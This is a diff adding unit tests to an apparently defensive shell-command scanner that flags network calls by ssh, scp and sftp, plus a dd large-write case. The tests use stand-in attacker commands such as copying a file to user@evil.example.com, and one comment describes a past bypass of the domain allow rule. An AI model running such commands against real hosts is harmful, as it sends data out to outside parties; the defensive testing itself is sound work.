@@ -228,6 +228,43 @@ def test_url_in_arg_catchall(self):
228228 facts = _scan ("true https://evil.example.com" )
229229 assert any (n .target == "evil.example.com" for n in facts .network_calls )
230230
231+ def test_ssh_user_at_host_extracts_target (self ):
232+ # Regression: ``ssh user@evil.example.com`` previously produced
233+ # no NetworkFact because ``@`` fails the plain-host regex,
234+ # silently bypassing NET001_DOMAIN_NOT_ALLOWED.
235+ facts = _scan ("ssh user@evil.example.com" )
236+ assert facts .network_calls
237+ assert facts .network_calls [0 ].target == "evil.example.com"
238+ assert facts .network_calls [0 ].library == "ssh"
239+ assert facts .network_calls [0 ].dynamic is False
240+
241+ def test_ssh_plain_host_still_detected (self ):
242+ facts = _scan ("ssh evil.example.com" )
243+ assert facts .network_calls
244+ assert facts .network_calls [0 ].target == "evil.example.com"
245+
246+ def test_scp_user_at_host_with_path (self ):
247+ facts = _scan ("scp file.txt user@evil.example.com:~/" )
248+ assert facts .network_calls
249+ assert facts .network_calls [0 ].target == "evil.example.com"
250+
251+ def test_sftp_user_at_host (self ):
252+ facts = _scan ("sftp user@evil.example.com" )
253+ assert facts .network_calls
254+ assert facts .network_calls [0 ].target == "evil.example.com"
255+
256+ def test_ssh_unrecognized_target_fails_closed (self ):
257+ # If the ssh family cannot resolve a target, emit a dynamic fact
258+ # so NET002 surfaces for review instead of silently allowing.
259+ facts = _scan ("ssh --some-weird-flag" )
260+ assert facts .network_calls
261+ assert facts .network_calls [0 ].dynamic is True
262+
263+ def test_ssh_dynamic_target (self ):
264+ facts = _scan ("ssh $TARGET" )
265+ assert facts .network_calls
266+ assert facts .network_calls [0 ].dynamic is True
267+
231268
232269class TestFileRead :
233270
@@ -363,6 +400,12 @@ def test_dd_size_extracted(self):
363400 assert facts .large_writes [0 ].size == 10 * 1024 * 1024
364401 assert facts .large_writes [0 ].target == "/tmp/x"
365402
403+ def test_dd_size_only_count (self ):
404+ # bs missing -> no computable size; document current behavior.
405+ facts = _scan ("dd if=/dev/zero of=/tmp/x count=5" )
406+ assert facts .large_writes
407+ assert facts .large_writes [0 ].size is None
408+
366409
367410class TestForkBomb :
368411
0 commit comments